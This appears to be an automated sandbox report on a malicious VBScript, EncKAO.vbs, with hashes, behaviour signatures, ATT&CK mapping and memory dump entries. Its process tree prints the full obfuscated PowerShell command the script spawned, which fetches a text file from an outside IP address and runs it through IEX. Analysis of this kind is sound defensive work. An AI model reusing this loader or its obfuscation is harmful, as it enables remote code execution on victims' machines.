Overview

overview

10

Static

static

EncKAO.vbs

windows7_x64

3

EncKAO.vbs

windows10-2004_x64

10

Analysis

  • max time kernel
    118s
  • max time network
    131s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    22-02-2022 19:06

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Report Analysis Logs

General

  • Target

    EncKAO.vbs

  • Size

    3KB

  • MD5

    fa584c2b021aed55aff0c764aee1cff0

  • SHA1

    327e83c2886c42896804ab87ca6996cb621e9b71

  • SHA256

    1b956ea6626165956ea897d431801376e7189f96e149de1b2ee2fed6944a38b2

  • SHA512

    a3db7960aa642cd61f499bda0f5892d2b7f939a65252842651472e963ca24ae9ebc7e51cb95e5c424b5dc8b0316333268edb902bb1be713621e4e11c5ecbe18e

Score
3/10

Malware Config

Signatures

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\EncKAO.vbs"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2032
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $HCNPXUQJCLATJSNVPNHGASK = '[*4@!-95&[27011]{{<!4(}y*4@!-95&[27011]{{<!4(}t3{{!{39=335@-#%2^${![292#\&3/-4=3%^]+\@8_#2}.IO.*4@!-95&[27011]{{<!4(}t()&/@+/6!@3=1*&#^285<53{{!{39=335@-#%2^${![25_8%0=^\09<276{[=(-\-{92#\&3/-4=3%^]+\@8_#2}()&/@+/6!@3=1*&#^285<53{{!{39=335@-#%2^${![25_8%0=^\09<276{[=(-\-{d3{{!{39=335@-#%2^${![2()&/@+/6!@3=1*&#^285<5]'.Replace('*4@!-95&[27011]{{<!4(}','S').Replace('3{{!{39=335@-#%2^${![2','E').Replace('()&/@+/6!@3=1*&#^285<5','R').Replace('5_8%0=^\09<276{[=(-\-{','A').Replace('92#\&3/-4=3%^]+\@8_#2}','M');$HWBPFQSKIJPSNVWGRPDVWTQ = ($HCNPXUQJCLATJSNVPNHGASK -Join '')|&('I'+'EX');$HVVGCGZUOWJPPVKKFNXPRYX = '[-<@!(_!_@2#@@73#6#<*68y-<@!(_!_@2#@@73#6#<*6834^%[/28$^_^1)_+%&$}{2/=+\6{8&8!=%9$&6%0#$!1m.N/=+\6{8&8!=%9$&6%0#$!134^%[/28$^_^1)_+%&$}{2.W/=+\6{8&8!=%9$&6%0#$!1bR/=+\6{8&8!=%9$&6%0#$!1qu/=+\6{8&8!=%9$&6%0#$!1-<@!(_!_@2#@@73#6#<*6834^%[/28$^_^1)_+%&$}{2]'.Replace('-<@!(_!_@2#@@73#6#<*68','S').Replace('/=+\6{8&8!=%9$&6%0#$!1','E').Replace('34^%[/28$^_^1)_+%&$}{2','T');$HZSWCZCRBXDIWQKWTESQTIY = ($HVVGCGZUOWJPPVKKFNXPRYX -Join '')|&('I'+'EX');$HFJRRSZDESQZWRCXANLTRDS = '\=)9&+81%{23</-^[/=-[6r7-{)&9)1(!_(2]+86%-(=5a+8#6&}]%/5}-^]%]5<#$7+7-{)&9)1(!_(2]+86%-(=5'.Replace('\=)9&+81%{23</-^[/=-[6','C').Replace('7-{)&9)1(!_(2]+86%-(=5','E').Replace('+8#6&}]%/5}-^]%]5<#$7+','T');$HWCLNHXSDRQHGEGSDTPUANI = '$#][}(-9<9$33&7@-{54#^-0@}{9!{69/<}19_19+_5&tR-0@}{9!{69/<}19_19+_5&0$}\+-8(030\)(%<}^/736pon0$}\+-8(030\)(%<}^/736-0@}{9!{69/<}19_19+_5&'.Replace('$#][}(-9<9$33&7@-{54#^','G').Replace('-0@}{9!{69/<}19_19+_5&','E').Replace('0$}\+-8(030\)(%<}^/736','S');$HUNOTPOSFQRHVLUSSYXPQCA = 'G_]@_61$7+/%50=7%)5}$+*t(#(&<<]#_^68#}}%]-#61#_]@_61$7+/%50=7%)5}$+*43=743-[#=!81/<[(**(<[pon43=743-[#=!81/<[(**(<[_]@_61$7+/%50=7%)5}$+*43=743-[#=!81/<[(**(<[t(#(&<<]#_^68#}}%]-#61#_]@_61$7+/%50=7%)5}$+*am'.Replace('43=743-[#=!81/<[(**(<[','S').Replace('_]@_61$7+/%50=7%)5}$+*','E').Replace('(#(&<<]#_^68#}}%]-#61#','R');$HHGZUQOYZVBAZGKFOKONHQP = '{[)9)4\#-&640<2_1%000//30#)6832^&7)=]=!{%8-_a20&[#8=\]=4}\*/8^-5_^+To/30#)6832^&7)=]=!{%8-_n20&[#8=\]=4}\*/8^-5_^+'.Replace('{[)9)4\#-&640<2_1%000/','R').Replace('/30#)6832^&7)=]=!{%8-_','E').Replace('20&[#8=\]=4}\*/8^-5_^+','D');&('I'+'EX')($HWBPFQSKIJPSNVWGRPDVWTQ::new($HZSWCZCRBXDIWQKWTESQTIY::$HFJRRSZDESQZWRCXANLTRDS('HttP://3.145.46.6/K/ServerFAH.txt').$HWCLNHXSDRQHGEGSDTPUANI().$HUNOTPOSFQRHVLUSSYXPQCA()).$HHGZUQOYZVBAZGKFOKONHQP())
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:868

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1
T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

  • memory/868-58-0x000007FEF561E000-0x000007FEF561F000-memory.dmp
    Filesize

    4KB

    Download
  • memory/868-59-0x0000000002410000-0x0000000002412000-memory.dmp
    Filesize

    8KB

    Download
  • memory/868-60-0x0000000002412000-0x0000000002414000-memory.dmp
    Filesize

    8KB

    Download
  • memory/868-61-0x0000000002414000-0x0000000002417000-memory.dmp
    Filesize

    12KB

    Download
  • memory/868-57-0x000007FEF2EF0000-0x000007FEF3A4D000-memory.dmp
    Filesize

    11.4MB

    Download
  • memory/868-62-0x000000000241B000-0x000000000243A000-memory.dmp
    Filesize

    124KB

    Download
  • memory/2032-55-0x000007FEFBE21000-0x000007FEFBE23000-memory.dmp
    Filesize

    8KB

    Download